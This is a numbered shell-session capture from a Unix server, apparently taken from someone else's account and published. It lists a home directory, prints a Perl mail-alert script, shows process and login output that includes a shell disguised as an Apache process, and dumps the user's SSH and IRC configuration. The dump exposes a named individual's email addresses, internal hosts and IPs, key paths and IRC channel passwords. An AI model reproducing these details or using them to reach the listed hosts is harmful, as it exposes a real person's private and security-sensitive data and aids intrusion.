thalakan thalakan 393 Jan 17 2009 test6.sh 10135 -rwxr-xr-x 1 thalakan thalakan 292 Jan 16 2009 test6.sh~ 10136 -rwxr-xr-x 1 thalakan thalakan 7536 Oct 20 2004 test7 10137 -rw-r--r-- 1 thalakan thalakan 303 Oct 20 2004 test7.c 10138 -rw-r--r-- 1 thalakan thalakan 296 Oct 20 2004 test7.c~ 10139 -rwxr-xr-x 1 thalakan thalakan 4383 Nov 2 2004 test8 10140 -rw-r--r-- 1 thalakan thalakan 108 Nov 2 2004 test8.c 10141 -rw-r--r-- 1 thalakan thalakan 1025 Aug 9 2002 test8.txt 10142 -rwxr-xr-x 1 thalakan thalakan 4602 Nov 21 2004 test9 10143 -rw-r--r-- 1 thalakan thalakan 504 Nov 21 2004 test9.c 10144 -rw-r--r-- 1 thalakan thalakan 498 Nov 21 2004 test9.c~ 10145 -rw-r--r-- 1 thalakan thalakan 6 Apr 18 2006 testbin 10146 -rw-r--r-- 1 thalakan thalakan 12 Apr 18 2006 testbin2 10147 -rwxr-xr-x 1 thalakan thalakan 909 Dec 3 2008 testread.py 10148 -rwxr-xr-x 1 thalakan thalakan 482 Dec 3 2008 testread.py~ 10149 -rw------- 1 thalakan thalakan 3786 Feb 18 2002 testspec3.txt 10150 -rw-r--r-- 1 thalakan thalakan 0 Aug 13 2004 textfile0 10151 -rw-r--r-- 1 thalakan thalakan 618 Aug 13 2004 textfile1 10152 -rw-r--r-- 1 thalakan thalakan 0 Aug 13 2004 textfile2 10153 -rw-r--r-- 1 thalakan thalakan 10931 Nov 16 2008 timeline-api.js 10154 -rw-r--r-- 1 thalakan thalakan 103477 Jan 27 18:14 timeline-bundle.js 10155 -rw------- 1 thalakan thalakan 90380 Jan 27 18:14 timeline-bundle.js.BAK 10156 drwx------ 2 thalakan thalakan 512 Feb 14 2008 timtest 10157 drwxr-xr-x 2 thalakan thalakan 512 Aug 16 2006 tmp 10158 drwxr-xr-x 2 thalakan thalakan 512 Nov 9 2006 tokens 10159 drwxr-xr-x 3 thalakan thalakan 512 May 17 21:07 toyos 10160 -rw-r--r-- 1 thalakan thalakan 421 Oct 30 2005 tree.c 10161 -rw-r--r-- 1 thalakan thalakan 39 Dec 12 2004 trg 10162 -rwxr-xr-x 1 thalakan thalakan 4935944 Jan 24 2002 tribes2d 10163 -rwxr-xr-x 1 thalakan thalakan 818 Dec 31 2004 tunnel.pl 10164 -rw-r--r-- 1 thalakan thalakan 578 Jan 12 2005 tunnel.sh 10165 drwxr-xr-x 2 thalakan thalakan 512 Apr 26 2008 turbopony 10166 -rw-r--r-- 1 thalakan thalakan 126726 Nov 9 2002 uc2.rtf 10167 -rw-r--r-- 1 thalakan thalakan 59078 Nov 13 2002 uc3.pdf 10168 -rw-r--r-- 1 thalakan thalakan 1718 Oct 30 2006 ucb-systems.txt 10169 -rw-r--r-- 1 thalakan thalakan 97340565 Oct 10 2005 ucb-wlan-cap.tar.gz 10170 -rw-r--r-- 1 thalakan thalakan 10351 Apr 6 2003 uml2.jpg 10171 -rwx------ 1 thalakan thalakan 105699476 Mar 21 2005 unicode.tif 10172 -rw-r--r-- 1 thalakan thalakan 2359350 Nov 24 2004 untitled.bmp 10173 -rw-r--r-- 1 thalakan thalakan 16 Nov 15 2007 urls.txt 10174 -rw-r--r-- 1 thalakan thalakan 343 Oct 1 2007 usleep.c 10175 -rwxr-xr-- 1 thalakan thalakan 686080 Apr 11 2006 v8.ppt 10176 -rw-r--r-- 1 thalakan thalakan 29889 May 13 2002 velocitusspec.rtf 10177 drwxr-xr-x 2 thalakan thalakan 512 Aug 7 2002 via.net 10178 drwxr-xr-x 2 thalakan thalakan 512 Jan 24 2002 vid-1.0.1 10179 -rw-r--r-- 1 thalakan thalakan 13986 Jan 24 2002 vid-1.0.1.tar.gz 10180 -rwxr-xr-x 1 thalakan thalakan 8102 Mar 30 2006 virus 10181 -rw-r--r-- 1 thalakan thalakan 3092 Mar 30 2006 virus.c 10182 -rw-r--r-- 1 thalakan thalakan 3094 Mar 30 2006 virus.c~ 10183 -rwxr-xr-x 1 thalakan thalakan 657580 Mar 31 2006 vmkfstools 10184 -rw-r--r-- 1 thalakan thalakan 290 Feb 15 02:55 vmware-notes.txt 10185 -rw-r--r-- 1 thalakan thalakan 20784 Jul 22 2002 voip-diagram.png 10186 -rwxr-xr-x 1 thalakan thalakan 1252 Apr 8 2002 vpb 10187 -rw-r--r-- 1 thalakan thalakan 2110 Apr 8 2002 vpb-session 10188 -rwxr-xr-x 1 thalakan thalakan 1076976 Feb 20 2002 vpb.ivr 10189 -rw-r--r-- 1 thalakan thalakan 2367 Jul 3 2002 vpb.spec 10190 -rw------- 1 thalakan thalakan 24319 Aug 13 2002 vpbdial.cpp 10191 -rw------- 1 thalakan thalakan 144316 May 30 2002 vpbmain_pci.out 10192 -rw-r--r-- 1 thalakan thalakan 9385 Apr 25 2002 vpbtester.cpp 10193 drwxr-xr-x 3 thalakan thalakan 512 Dec 3 2008 vpon 10194 -rwxr-xr-x 1 thalakan thalakan 5805 Apr 11 2003 vvfreebsd 10195 -rw-r--r-- 1 thalakan thalakan 1461 Apr 11 2003 vvfreebsd.c 10196 -rwxr-xr-x 1 thalakan thalakan 521 Jun 17 11:22 watcher.pl 10197 -rwxr-xr-x 1 thalakan thalakan 335 Sep 6 2002 watcher.pl~ 10198 -rw-r--r-- 1 thalakan thalakan 243038 Apr 3 2007 wep-crack.pdf 10199 -rw-r--r-- 1 thalakan thalakan 610988 Mar 7 2003 wget-log 10200 -rw-r--r-- 1 thalakan thalakan 187165 Oct 2 2005 wget-log.1 10201 -rw-r--r-- 1 thalakan thalakan 649181 Oct 2 2005 wget-log.2 10202 -rw-r--r-- 1 thalakan thalakan 1612 Jan 31 15:55 wget.log 10203 -rwxr-xr-x 1 thalakan thalakan 8918 Dec 28 2008 whetstone 10204 -rw-r--r-- 1 thalakan thalakan 8121 Mar 22 1998 whetstone.c 10205 drwxr-xr-x 11 thalakan thalakan 512 Jul 3 2007 wicrawl 10206 -rw------- 1 thalakan thalakan 7764 Nov 19 2005 wicrawl.txt 10207 -rwxr--r-- 1 thalakan thalakan 621 Nov 20 2004 win32align.c 10208 -rwxr--r-- 1 thalakan thalakan 620 Nov 20 2004 win32align.c~ 10209 -rw------- 1 thalakan thalakan 1474560 Jul 24 2002 win98bd.img 10210 -rw-r--r-- 1 thalakan thalakan 3334 Feb 3 23:25 windbg-notes.txt 10211 -rw-r--r-- 1 thalakan thalakan 534 Feb 3 21:34 windbg-notes.txt~ 10212 drwxr-xr-x 5 thalakan thalakan 512 Apr 8 2003 woody 10213 -rw-r--r-- 1 thalakan thalakan 223811 Jan 6 2005 worst.jpg 10214 -rw-r--r-- 1 thalakan thalakan 37 Aug 30 2003 wow.txt 10215 -rwxr--r-- 1 thalakan thalakan 4608 Feb 7 2003 writer.exe 10216 -rw-r--r-- 1 thalakan thalakan 18054 Jan 19 2005 wrong2.bmp 10217 drwxr-xr-x 2 thalakan thalakan 512 Sep 5 2008 wtf 10218 -rw-r--r-- 1 thalakan thalakan 19360 Dec 11 2007 wtf.tar.gz 10219 -rwxr-xr-x 1 thalakan thalakan 13040 Nov 1 2004 wtmpdump 10220 -rw-r--r-- 1 thalakan thalakan 1643 Nov 1 2004 wtmpdump.c~ 10221 -rw-r--r-- 1 thalakan thalakan 21 Apr 11 2003 wurd 10222 drwxr-xr-x 3 thalakan thalakan 512 Jun 1 2007 www.kenshoto.com 10223 -rw-r--r-- 1 thalakan thalakan 1171 Nov 20 2004 x11-keylogger.c 10224 -rwxr-xr-x 1 thalakan thalakan 166 Jul 29 2005 xor.pl 10225 -rw-r--r-- 1 thalakan thalakan 314 Jan 26 2005 xvnc.sh 10226 -rwxr-xr-x 1 thalakan thalakan 4610 Jan 5 2006 zeller 10227 -rw-r--r-- 1 thalakan thalakan 386 Jan 5 2006 zeller.c 10228 drwxr-xr-x 2 thalakan thalakan 512 Jun 22 2006 ã‹ãŸã‹ã�ls 10229 $ cat watcher.pl 10230 #!/usr/bin/perl -w 10231 use Mail::Sendmail; 10232 10233 my %mail = (to => 'jrspence@gmail.com', 10234 from => 'jspence@lightconsulting.com', 10235 subject => 'Zone updated', 10236 message => ""); 10237 10238 $command = 'dig +nssearch gs | awk \'{ print $4 }\' | sort | uniq -c'; 10239 10240 $last = `$command`; 10241 10242 while(1) { 10243 #`ping -c 1 graendal.lightconsulting.com`; 10244 #if(($? >> 8) == 0) { 10245 #} 10246 10247 $result = `$command`; 10248 if($result ne $last) { 10249 print "$result\n"; 10250 $mail{message} = $result; 10251 sendmail(%mail); 10252 exit(0); 10253 } 10254 $last = $result; 10255 sleep(5); 10256 } 10257 $ ps ax 10258 PID TT STAT TIME COMMAND 10259 96798 ?? SJ 0:01.07 /usr/local/sbin/httpd -k start 10260 96880 ?? IJ 0:01.08 /usr/local/sbin/httpd -k start 10261 96938 ?? SsJ 0:00.02 /usr/sbin/apache -i (sh) 10262 97180 ?? SJ 0:00.86 /usr/local/sbin/httpd -k start 10263 97193 ?? SJ 0:00.88 /usr/local/sbin/httpd -k start 10264 97200 ?? SJ 0:00.97 /usr/local/sbin/httpd -k start 10265 97205 ?? SJ 0:00.89 /usr/local/sbin/httpd -k start 10266 97206 ?? IJ 0:00.43 /usr/local/sbin/httpd -k start 10267 97210 ?? SJ 0:00.86 /usr/local/sbin/httpd -k start 10268 97224 ?? IJ 0:00.10 /usr/local/sbin/httpd -k start 10269 97228 ?? SJ 0:00.25 /usr/local/sbin/httpd -k start 10270 97244 ?? SJ 0:00.32 /usr/local/sbin/httpd -k start 10271 97245 ?? SJ 0:01.20 /usr/local/sbin/httpd -k start 10272 97255 ?? SJ 0:00.48 /usr/local/sbin/httpd -k start 10273 97297 ?? RJ 0:00.00 ps ax 10274 $ w 10275 9:19AM up 544 days, 21:02, 1 user, load averages: 0.23, 0.27, 0.30 10276 USER TTY FROM LOGIN@ IDLE WHAT 10277 thalakan q5 98.210.123.132:S 16Jan09 33days - 10278 $ cd /home/thalakan/jrstools 10279 $ ls -al 10280 total 638 10281 -rw-r--r-- 1 thalakan thalakan 3564 Jan 27 15:47 #dot-emacs# 10282 drwxr-xr-x 3 thalakan thalakan 3584 Jul 6 15:00 . 10283 lrwxr-xr-x 1 thalakan thalakan 54 Jan 16 2009 .#dot-emacs -> thalakan@shaitan1.lightconsulting.com.16643:1201029436 10284 -rw-r--r-- 1 thalakan thalakan 2360 Aug 29 2002 .#dot-emacs.1.11 10285 -rw-r--r-- 1 thalakan thalakan 1731 Feb 4 2002 .#dot-emacs.1.8 10286 -rw-r--r-- 1 thalakan thalakan 1893 Feb 5 2002 .#dot-emacs.1.9 10287 -rwxr-xr-x 1 thalakan thalakan 1305 Jan 3 2009 .#hgrep.rb.1.1 10288 -rwxr-xr-x 1 thalakan thalakan 1946 Sep 14 2002 .#nagios-pather.pl.1.1 10289 -rw-r--r-- 1 thalakan thalakan 432 Feb 1 2006 .#ssh-config.1.16 10290 -rwxr-xr-x 1 thalakan thalakan 177 Sep 15 2007 .#tools-setup.sh.1.1 10291 -rwxr-xr-x 1 thalakan thalakan 2265 Aug 13 2006 .#whereami.pl.1.5 10292 drwxr-x--- 141 thalakan thalakan 26112 Jul 20 09:33 .. 10293 -rw-r--r-- 1 thalakan thalakan 572 Apr 16 19:01 15.log 10294 -rw-r--r-- 1 thalakan thalakan 138 Apr 16 18:07 15.log~ 10295 -rwxr-xr-x 1 thalakan thalakan 171 Dec 4 2008 4pics.sh 10296 -rwxr-xr-x 1 thalakan thalakan 1673 Feb 3 18:45 4urls.sh 10297 -rwxr-xr-x 1 thalakan thalakan 859 Dec 4 2008 4urls.sh.~1.1.~ 10298 drwxr-xr-x 2 thalakan thalakan 512 Jul 6 15:00 CVS 10299 -rw-r--r-- 1 thalakan thalakan 147 Jun 4 03:44 Makefile 10300 -rwxr-xr-x 1 thalakan thalakan 740 Aug 19 2008 add-auto-cmd.sh 10301 -rw------- 1 thalakan thalakan 0 Apr 22 2008 addr-server 10302 -rwxr-xr-x 1 thalakan thalakan 551 Apr 22 2008 addr-server.sh 10303 -rw-r--r-- 1 thalakan thalakan 1004 Apr 28 2008 addresses 10304 -rwxr-xr-x 1 thalakan thalakan 531 Apr 22 2008 bob 10305 -rw-r--r-- 1 thalakan thalakan 3730 Jun 4 03:44 bso.c 10306 -rwxr-xr-x 1 thalakan thalakan 868 Jan 24 2002 check-links.pl 10307 -rw-r--r-- 1 thalakan thalakan 503 Jan 26 20:53 check.c 10308 -rwxr-xr-x 1 thalakan thalakan 367 Apr 22 2008 chkmonitor.sh 10309 -rwxr-xr-x 1 thalakan thalakan 2022 Jun 20 16:31 clil.sh 10310 -rw-r--r-- 1 thalakan thalakan 7798 Apr 26 22:24 cmake-mode.el 10311 -rwxr-xr-x 1 thalakan thalakan 340 Apr 13 2007 cmdwatch.sh 10312 -rw-r--r-- 1 thalakan thalakan 224 Apr 30 14:55 common-checklist.txt 10313 -rw-r--r-- 1 thalakan thalakan 138 Jan 24 2006 common-checklist.txt.~1.1.~ 10314 -rw-r--r-- 1 thalakan thalakan 148 Feb 8 15:23 common-user-checklist.txt 10315 -rw-r--r-- 1 thalakan thalakan 13840 Aug 11 2008 cycle.h 10316 -rwxr-xr-x 1 thalakan thalakan 509 Jan 26 20:41 doorcheck.sh 10317 -rw-r--r-- 1 thalakan thalakan 567 Apr 26 2008 dot-bashrc-local 10318 -rw-r--r-- 1 thalakan thalakan 3732 Jun 23 22:21 dot-emacs 10319 -rw-r--r-- 1 thalakan thalakan 197 Jan 31 17:57 dot-exrc 10320 -rw-r--r-- 1 thalakan thalakan 28 Feb 8 15:23 dot-forward 10321 -rw-r--r-- 1 thalakan thalakan 10798 Jul 7 19:08 dot-irssi-config 10322 -rw-r----- 1 thalakan thalakan 10084 Dec 4 2008 dot-irssi-config-new 10323 -rw-r--r-- 1 thalakan thalakan 10411 Dec 4 2008 dot-irssi-config.~1.7.~ 10324 -rw-r--r-- 1 thalakan thalakan 10411 Dec 4 2008 dot-irssi-config~ 10325 -rw-r--r-- 1 thalakan thalakan 15886 Jun 23 22:23 dot-muttrc 10326 -rw-r--r-- 1 thalakan thalakan 4941 Nov 2 2007 dot-procmailrc 10327 -rw-r--r-- 1 thalakan thalakan 419 Jul 6 15:00 dot-profile 10328 -rw-r--r-- 1 thalakan thalakan 132 Jan 31 17:57 dot-screenrc 10329 -rw-r--r-- 1 thalakan thalakan 1113 Jun 23 22:21 dot-ssh-config 10330 -rwxr-xr-x 1 thalakan thalakan 3005 Feb 20 2007 dot-tcshrc 10331 -rwxr-xr-x 1 thalakan thalakan 724 May 1 2008 dpkg-dump.sh 10332 -rwxr-xr-x 1 thalakan thalakan 1333 Nov 7 2002 dumppkg.pl 10333 -rw-r--r-- 1 thalakan thalakan 50 Mar 2 2002 eterm-user-cfg 10334 -rwxr-xr-x 1 thalakan thalakan 327 Jun 1 12:46 extract-cpio.sh 10335 -rwxr-xr-x 1 thalakan thalakan 309 Jan 24 2002 fix-xauth 10336 -rw-r--r-- 1 thalakan thalakan 154 Jan 24 2006 freebsd-checklist.txt 10337 -rwxr-xr-x 1 thalakan thalakan 36 Apr 26 2008 get-gcc-defines.sh 10338 -rwxr-xr-x 1 thalakan thalakan 817 Aug 13 2006 getcoords.pl 10339 -rwxr-xr-x 1 thalakan thalakan 602 Oct 10 2003 getcoords.pl~ 10340 -rwxr-xr-x 1 thalakan thalakan 216 Apr 22 2008 getip.sh 10341 -rw-r--r-- 1 thalakan thalakan 327 Jan 3 2009 getthreads.sh 10342 -rw-r--r-- 1 thalakan thalakan 117 Jan 3 2009 getthreads.sh~ 10343 -rw-r--r-- 1 thalakan thalakan 16 Jun 17 2008 gitrepos.conf 10344 -rw-r--r-- 1 thalakan thalakan 713 Oct 6 2007 hexdump.c 10345 -rwxr-xr-x 1 thalakan thalakan 1352 Jan 16 2009 hgrep.rb 10346 -rwxr-xr-x 1 thalakan thalakan 1260 Dec 1 2008 hgrep.rb.~1.1.~ 10347 -rwxr-xr-x 1 thalakan thalakan 1214 Dec 1 2008 hgrep.rb~ 10348 -rw-r--r-- 1 thalakan thalakan 0 Sep 14 2002 hostgroups.cfg 10349 -rw-r--r-- 1 thalakan thalakan 63321 Sep 6 2003 hosts.cfg 10350 -rw-r--r-- 1 thalakan thalakan 1906 Feb 23 2003 hosts.txt 10351 -rw-r--r-- 1 thalakan thalakan 58149 Oct 22 2003 htmlize.el 10352 -rwxr-xr-x 1 thalakan thalakan 2512 Jun 19 2002 image2ascii 10353 -rwxr-xr-x 1 thalakan thalakan 564 Jan 27 17:26 indexer.pl 10354 -rwxr-xr-x 1 thalakan thalakan 1091 Jan 24 2002 install-febo-kernel 10355 -rwxr-xr-x 1 thalakan thalakan 917 Jan 24 2002 install-local-kernel 10356 -rwxr-xr-x 1 thalakan thalakan 1266 Jan 24 2002 install-netboot-kernel 10357 -rwxr-xr-x 1 thalakan thalakan 1785 Feb 23 2003 listhosts.pl 10358 -rwxr-xr-x 1 thalakan thalakan 4329 Feb 23 2003 listhosts.pl~ 10359 -rwxr-xr-x 1 thalakan thalakan 1384 Jan 24 2002 lizard-sucker.pl 10360 -rwxr-xr-x 1 thalakan thalakan 574 Jun 1 12:46 make-cpio.sh 10361 -rwxr-xr-x 1 thalakan thalakan 1203 Apr 2 2002 megadiff 10362 -rwxr-xr-x 1 thalakan thalakan 376 Apr 26 2008 mkelf.sh 10363 -rwxr-xr-x 1 thalakan thalakan 4743 Feb 20 2007 mkregs.pl 10364 -rwxr-xr-x 1 thalakan thalakan 2427 Jul 6 15:00 monitor.sh 10365 -rwxr-xr-x 1 thalakan thalakan 830 Jun 19 2002 mutt_add.pl 10366 -rwxr-xr-x 1 thalakan thalakan 587 Jun 19 2002 mutt_query.pl 10367 -rwxr-xr-x 1 thalakan thalakan 4329 Sep 14 2002 nagios-pather.pl 10368 -rw-r--r-- 1 thalakan thalakan 273 Jun 19 13:22 ndiff.cron 10369 -rwxr-xr-x 1 thalakan thalakan 1179 Sep 20 2004 newpicture.sh 10370 -rwxr-xr-x 1 thalakan thalakan 468 May 26 12:42 oop-files 10371 -rw-r--r-- 1 thalakan thalakan 351 May 26 12:42 oop-files-ignored 10372 -rwxr-xr-x 1 thalakan thalakan 218 May 26 12:42 oop-files.sh 10373 -rwxr-xr-x 1 thalakan thalakan 304 Feb 8 15:23 opcode-histo.sh 10374 -rw-r--r-- 1 thalakan thalakan 845 Sep 14 2002 out 10375 -rwxr-xr-x 1 thalakan thalakan 90 Jun 1 12:46 patch-initrd.sh 10376 -rwxr-xr-x 1 thalakan thalakan 83 Apr 28 2008 pingall.sh 10377 -rwxr-xr-x 1 thalakan thalakan 427 Aug 19 2008 plotit.sh 10378 -rwxr-xr-x 1 thalakan thalakan 7935 Apr 4 17:06 portability 10379 -rwxr-xr-x 1 thalakan thalakan 4208 Apr 4 17:06 portability.c 10380 -rwxr-xr-x 1 thalakan thalakan 308 Apr 22 2008 putkey.sh 10381 -rw-r--r-- 1 thalakan thalakan 39854 Apr 28 2008 results.lis 10382 -rw-r--r-- 1 thalakan thalakan 41286 Sep 6 2003 services.cfg 10383 -rwxr-xr-x 1 thalakan thalakan 685 Sep 12 2002 sig.pl 10384 -rwxr-xr-x 1 thalakan thalakan 110 Sep 14 2002 snmpscan.sh 10385 -rw-r--r-- 1 thalakan thalakan 437 Apr 18 23:11 ssh-config 10386 -rw-r--r-- 1 thalakan thalakan 357 Jan 27 23:05 ssh-config~ 10387 -rwxr-xr-x 1 thalakan thalakan 1306 Apr 22 2008 ssh-copy-id 10388 -rw-r--r-- 1 thalakan thalakan 1968 Jun 19 2002 ssh-ppp 10389 -rwxr-xr-x 1 thalakan thalakan 1561 Feb 14 2007 supertr.pl 10390 -rwxr-xr-x 1 thalakan thalakan 81 Jun 26 07:19 t.sh 10391 -rwxr-xr-x 1 thalakan thalakan 1322 Jan 24 2002 template.pl 10392 -rw-r--r-- 1 thalakan thalakan 4448 Dec 13 2006 template_rc.c 10393 -rwxr-xr-x 1 thalakan thalakan 143 Sep 14 2002 test.pl 10394 -rw-r--r-- 1 thalakan thalakan 120 Sep 14 2002 test.pl~ 10395 -rw-r--r-- 1 thalakan thalakan 1443 May 26 12:43 timeline.html 10396 -rwxr-xr-x 1 thalakan thalakan 134 Apr 18 2007 title.sh 10397 -rwxr-xr-x 1 thalakan thalakan 24 Apr 18 2007 title.sh~ 10398 -rwxr-xr-x 1 thalakan thalakan 690 Jul 6 15:00 tools-setup.sh 10399 -rw-r--r-- 1 thalakan thalakan 168 Jun 26 07:19 tunnel-config 10400 -rw-r--r-- 1 thalakan thalakan 668 Jun 26 07:19 tunnel-key 10401 -rwxr-xr-x 1 thalakan thalakan 184 Apr 24 2007 un-nastify 10402 -rwxr-xr-x 1 thalakan thalakan 495 Apr 26 2008 update-address-db.sh 10403 -rwxr-xr-x 1 thalakan thalakan 235 Jun 4 03:44 update-geoip.sh 10404 -rwxr-xr-x 1 thalakan thalakan 312 Jun 17 2008 update-linux-2.6.sh 10405 -rwxr-xr-x 1 thalakan thalakan 1773 Jul 1 2002 varnish 10406 -rwxr-xr-x 1 thalakan thalakan 2554 Jun 19 2002 view-x-face 10407 -rw-r--r-- 1 thalakan thalakan 1647 Feb 20 2007 vsnprintf_loop.h 10408 -rwxr-xr-x 1 thalakan thalakan 2710 Mar 1 2007 whereami.pl 10409 -rwxr-xr-x 1 thalakan thalakan 867 Sep 12 2002 whereami.pl~ 10410 -rw-r--r-- 1 thalakan thalakan 1956 Jun 23 22:21 wic-cdma-status.shtml 10411 -rw-r--r-- 1 thalakan thalakan 808 Apr 16 16:27 windows-checklist.txt 10412 -rw-r--r-- 1 thalakan thalakan 216 Apr 10 15:35 windows-checklist.txt~ 10413 -rwxr-xr-x 1 thalakan thalakan 302 Dec 3 2004 wwwusage.sh 10414 -rwxr-xr-x 1 thalakan thalakan 33323 Jan 24 2002 x2x 10415 -rwxr-xr-x 1 thalakan thalakan 323 Jun 19 2002 x2xdm 10416 -rwxr-xr-x 1 thalakan thalakan 264 Jun 19 2002 xmms.pl 10417 $ cat dot-ssh-config 10418 IdentityFile /home/thalakan/.ssh/id_dsa 10419 10420 Cipher Blowfish 10421 10422 Protocol 2,1 10423 10424 KeepAlive yes 10425 10426 Host * 10427 ControlMaster auto 10428 ControlPath /tmp/ssh-jspence/%r@%h:%p 10429 10430 10431 Host server1 10432 User jspence 10433 HostName server1.t34m1337.com 10434 10435 Host server2 10436 User jspence 10437 HostName server2.t34m1337.com 10438 LocalForward 28799 localhost:28799 10439 10440 Host ol5 10441 User jason.spence 10442 IdentityFile ~/.ssh/id_dsa_rearden 10443 10444 Host shell01 10445 User jason.spence 10446 10447 Host hc-dev1 10448 User jason.spence 10449 HostName 172.18.66.203 10450 IdentityFile ~/.ssh/id_dsa_rearden 10451 10452 Host midnightresearch.com 10453 Port 222 10454 IdentityFile ~/.ssh/mrl-chroot 10455 10456 Host shaitan.lightconsulting.com 10457 User thalakan 10458 LocalForward 1143 localhost:143 10459 LocalForward 1025 localhost:1025 10460 LocalForward 5900 localhost:5900 10461 10462 Host subversions.gnu.org 10463 Protocol 1 10464 10465 Host amd64-linux1 10466 ProxyCommand ssh cf-shell.sf.net nc amd64-linux1 22 10467 10468 Host sparc-solaris1 10469 ProxyCommand ssh cf-shell.sf.net nc sparc-solaris1 22 10470 10471 Host x86-solaris1 10472 ProxyCommand ssh cf-shell.sf.net nc x86-solaris1 22 10473 10474 Host ppc-osx1 10475 ProxyCommand ssh cf-shell.sf.net nc x86-solaris1 22 10476 10477 Host jason-t61.local 10478 User jason.spence 10479 $ cat dot-irssi-config 10480 servers = ( 10481 { address = "irc.stealth.net"; chatnet = "IRCnet"; port = "6668"; }, 10482 { 10483 address = "irc.efnet.us"; 10484 chatnet = "EFNet"; 10485 port = "6667"; 10486 autoconnect = "yes"; 10487 }, 10488 { 10489 address = "irc.undernet.org"; 10490 chatnet = "Undernet"; 10491 port = "6667"; 10492 }, 10493 { address = "irc.dal.net"; chatnet = "DALnet"; port = "6667"; }, 10494 { 10495 address = "irc.quakenet.org"; 10496 chatnet = "QuakeNet"; 10497 port = "6667"; 10498 }, 10499 { address = "silc.silcnet.org"; chatnet = "SILC"; port = "706"; }, 10500 { 10501 address = "irc.mozilla.org"; 10502 chatnet = "mozilla"; 10503 port = "6667"; 10504 use_ssl = "no"; 10505 ssl_verify = "no"; 10506 autoconnect = "yes"; 10507 }, 10508 { 10509 address = "irc.gimp.net"; 10510 chatnet = "gimpnet"; 10511 port = "6667"; 10512 use_ssl = "no"; 10513 ssl_verify = "no"; 10514 autoconnect = "yes"; 10515 }, 10516 { 10517 address = "irc.freenode.net"; 10518 chatnet = "freenode"; 10519 port = "6667"; 10520 use_ssl = "no"; 10521 ssl_verify = "no"; 10522 autoconnect = "yes"; 10523 }, 10524 { 10525 address = "irc2.2ch.net"; 10526 port = "6667"; 10527 use_ssl = "no"; 10528 ssl_verify = "no"; 10529 }, 10530 { 10531 address = "irc.2600.net"; 10532 port = "6667"; 10533 use_ssl = "no"; 10534 ssl_verify = "no"; 10535 } 10536 ); 10537 10538 chatnets = { 10539 IRCnet = { 10540 type = "IRC"; 10541 max_kicks = "4"; 10542 max_msgs = "5"; 10543 max_whois = "4"; 10544 max_query_chans = "5"; 10545 }; 10546 EFNet = { 10547 type = "IRC"; 10548 max_kicks = "4"; 10549 max_msgs = "3"; 10550 max_whois = "1"; 10551 }; 10552 Undernet = { 10553 type = "IRC"; 10554 max_kicks = "1"; 10555 max_msgs = "3"; 10556 max_whois = "30"; 10557 }; 10558 DALnet = { 10559 type = "IRC"; 10560 max_kicks = "4"; 10561 max_msgs = "3"; 10562 max_whois = "30"; 10563 }; 10564 QuakeNet = { 10565 type = "IRC"; 10566 max_kicks = "1"; 10567 max_msgs = "3"; 10568 max_whois = "30"; 10569 }; 10570 SILC = { type = "SILC"; }; 10571 mozilla = { type = "IRC"; }; 10572 freenode = { type = "IRC"; }; 10573 gimpnet = { type = "IRC"; }; 10574 }; 10575 10576 channels = ( 10577 { name = "#irssi"; chatnet = "ircnet"; autojoin = "No"; }, 10578 { name = "silc"; chatnet = "silc"; autojoin = "No"; }, 10579 { name = "#noisebridge"; chatnet = "freenode"; autojoin = "yes"; }, 10580 { name = "#bifemunix"; chatnet = "EFNet"; autojoin = "yes"; }, 10581 { name = "#down"; chatnet = "efnet"; autojoin = "yes"; }, 10582 { name = "#huggs"; chatnet = "efnet"; autojoin = "yes"; }, 10583 { name = "#dnalounge"; chatnet = "gimpnet"; autojoin = "yes"; }, 10584 { name = "#sysadmins"; chatnet = "efnet"; autojoin = "yes"; }, 10585 { 10586 name = "#green"; 10587 chatnet = "efnet"; 10588 autojoin = "yes"; 10589 password = "thekeyisme"; 10590 }, 10591 { name = "#depression"; chatnet = "EFNet"; autojoin = "yes"; }, 10592 { 10593 name = "#irc_anon"; 10594 chatnet = "efnet"; 10595 autojoin = "yes"; 10596 password = "anonymous"; 10597 }, 10598 { name = "#bsdcode"; chatnet = "efnet"; autojoin = "yes"; }, 10599 { name = "#FreeBSDdrama"; chatnet = "efnet"; autojoin = "yes"; }, 10600 { name = "#developers"; chatnet = "mozilla"; autojoin = "yes"; }, 10601 # { name = "#mrl"; chatnet = "EFNet"; autojoin = "yes"; }, 10602 # { name = "#sf2600"; chatnet = "EFNet"; autojoin = "yes"; }, 10603 { name = "#hackershells"; chatnet = "efnet"; autojoin = "yes"; }, 10604 { name = "#bayarea"; chatnet = "EFNet"; autojoin = "yes"; }, 10605 { name = "#linux"; chatnet = "efnet"; autojoin = "yes"; }, 10606 { name = "#geekissues"; chatnet = "EFNet"; autojoin = "yes"; }, 10607 { name = "#geekgirls"; chatnet = "EFNet"; autojoin = "yes"; }, 10608 { name = "#cdc"; chatnet = "EFNet"; autojoin = "yes"; }, 10609 { name = "#banality"; chatnet = "EFNet"; autojoin = "yes"; }, 10610 { name = "#rain"; chatnet = "EFNet"; autojoin = "yes"; }, 10611 { name = "#linkdump"; chatnet = "EFNet"; autojoin = "yes"; }, 10612 { name = "#urls"; chatnet = "EFNet"; autojoin = "yes"; }, 10613 { name = "#links"; chatnet = "EFNet"; autojoin = "yes"; }, 10614 { name = "#uptime"; chatnet = "EFNet"; autojoin = "yes"; }, 10615 { name = "#win95help"; chatnet = "EFNet"; autojoin = "yes"; }, 10616 { name = "#urls"; chatnet = "EFNet"; autojoin = "yes"; }, 10617 { name = "#infrared"; chatnet = "EFNet"; autojoin = "yes"; }, 10618 { name = "#digrev"; chatnet = "efnet"; autojoin = "Yes"; }, 10619 { name = "#seraph"; chatnet = "efnet"; autojoin = "yes"; }, 10620 { name = "#seraphctl"; chatnet = "efnet"; autojoin = "yes"; }, 10621 { name = "#green"; chatnet = "efnet"; autojoin = "yes"; }, 10622 { name = "#bfu"; chatnet = "efnet"; autojoin = "yes"; }, 10623 { name = "#alpha-def"; chatnet = "efnet"; autojoin = "yes"; }, 10624 { name = "#rawfiles"; chatnet = "efnet"; autojoin = "yes"; }, 10625 { name = "#rawfles"; chatnet = "efnet"; autojoin = "yes"; }, 10626 { name = "#/win"; chatnet = "efnet"; autojoin = "yes"; }, 10627 { name = "#crypto"; chatnet = "efnet"; autojoin = "yes"; }, 10628 { name = "#scotus"; chatnet = "efnet"; autojoin = "yes"; }, 10629 { name = "#openwrt"; chatnet = "efnet"; autojoin = "yes"; }, 10630 { name = "#politics"; chatnet = "efnet"; autojoin = "yes"; }, 10631 { name = "#balls"; chatnet = "efnet"; autojoin = "yes"; }, 10632 { name = "#physics"; chatnet = "efnet"; autojoin = "yes"; }, 10633 { name = "#math"; chatnet = "efnet"; autojoin = 